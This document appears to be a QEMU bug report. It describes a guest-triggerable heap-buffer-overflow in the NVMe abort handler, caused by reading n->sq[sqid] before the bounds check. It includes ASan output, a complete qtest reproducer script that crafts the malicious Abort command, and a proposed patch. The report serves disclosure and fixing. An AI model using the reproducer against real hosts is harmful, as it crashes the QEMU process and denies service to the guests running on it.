hw/nvme: heap-buffer-overflow in nvme_abort due to missing bounds check on sqid
Host environment
- Operating system: Ubuntu 24.04.2 LTS
- OS/kernel version: Linux 6.8.0-52-generic x86_64
- Architecture: x86_64
- QEMU flavor: qemu-system-x86_64 (built with --enable-asan --enable-ubsan)
- QEMU version: QEMU 10.2.1 (also affects 9.1.0 through master)
- QEMU command line:
./qemu-system-x86_64 -display none -machine q35,accel=qtest -nodefaults \ -device nvme,serial=deadbeef -device nvme-ns,drive=disk0,nsid=1 \ -drive file=null-co://,id=disk0,if=none,format=raw -qtest stdio
Description of problem
An out-of-bounds heap read in nvme_abort() (hw/nvme/ctrl.c) is triggered when a guest sends an NVMe Abort admin command (opcode 0x08) with an invalid Submission Queue ID (sqid) in CDW10.
The bug is at line 6114 (v10.2.1): NvmeSQueue *sq = n->sq[sqid] is executed before the bounds check nvme_check_sqid(n, sqid) at line 6119. Since sqid is a guest-controlled 16-bit value (range 0–65535), and n->sq[] is typically only 65 entries (max_ioqpairs + 1), a malicious guest can cause an out-of-bounds heap read.
This was introduced in commit 75209c071a ("hw/nvme: actually implement abort", 2024-07-02). A subsequent commit 304babd940 (2024-12-16) modified the same function but did not fix this issue.
ASan reports this as heap-buffer-overflow (READ of size 8), SEGV, or heap-use-after-free depending on heap layout.
ASan output:
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61600002daa0
READ of size 8 at 0x61600002daa0 thread T0
#0 nvme_abort hw/nvme/ctrl.c:6120
#1 nvme_admin_cmd hw/nvme/ctrl.c:7613
#2 aio_bh_call util/async.c:172
...
Steps to reproduce
-
Build QEMU with AddressSanitizer:
mkdir build && cd build ../configure --enable-asan --enable-ubsan --target-list=x86_64-softmmu --disable-werror \ --extra-cflags="-O0" make -j$(nproc) qemu-system-x86_64Note: The
--extra-cflags="-O0"flag is required. At the default-O2optimization level, the compiler delays the load ofn->sq[sqid]until after thenvme_check_sqid()bounds check (sincesqis not used before the check), which masks the out-of-bounds access. -
Run the following qtest script (pipe into qemu-system-x86_64 with
-qtest stdio):cat <<'QTEST' | ./qemu-system-x86_64 -display none -machine q35,accel=qtest \ -nodefaults -device nvme,serial=deadbeef -device nvme-ns,drive=disk0,nsid=1 \ -drive file=null-co://,id=disk0,if=none,format=raw -qtest stdio # PCI BAR0 setup outl 0xcf8 0x80000810 outl 0xcfc 0xe0000000 outl 0xcf8 0x80000804 outw 0xcfc 0x7 # Admin Queue setup writel 0xe0000024 0x001f001f writel 0xe0000028 0x100000 writel 0xe000002c 0x0 writel 0xe0000030 0x101000 writel 0xe0000034 0x0 writel 0xe0000014 0x00460001 # Write Abort command with sqid=6957 (0x1b2d) to Admin SQ # NvmeCmd layout: opcode(1)+flags(1)+cid(2) | nsid(4) | res1(8) | mptr(8) | dptr(16) | cdw10(4) | ... # CDW10 = 0xaeb21b2d → sqid = CDW10 & 0xffff = 0x1b2d (6957), cid = CDW10 >> 16 = 0xaeb2 write 0x100000 0x40 0x080001000000000000000000000000000000000000000000000000000000000000000000000000002d1bb2ae0000000000000000000000000000000000000000 # Ring Admin SQ doorbell writel 0xe0001000 0x1 QTEST -
Observe ASan reporting
heap-buffer-overflowinnvme_abort.
Proposed fix
Move NvmeSQueue *sq = n->sq[sqid] to after nvme_check_sqid():
static uint16_t nvme_abort(NvmeCtrl *n, NvmeRequest *req)
{
uint16_t sqid = le32_to_cpu(req->cmd.cdw10) & 0xffff;
uint16_t cid = (le32_to_cpu(req->cmd.cdw10) >> 16) & 0xffff;
- NvmeSQueue *sq = n->sq[sqid];
+ NvmeSQueue *sq;
NvmeRequest *r, *next;
int i;
req->cqe.result = 1;
if (nvme_check_sqid(n, sqid)) {
return NVME_INVALID_FIELD | NVME_DNR;
}
+ sq = n->sq[sqid];
+
if (sqid == 0) {
Additional information
- Introduced by: commit
75209c071a("hw/nvme: actually implement abort") - Affects: QEMU 9.1.0 through 10.2.1 and current master
- Impact: Guest-triggered denial of service (host QEMU process crash)
- Root cause:
n->sq[sqid]accessed beforenvme_check_sqid(n, sqid)bounds validation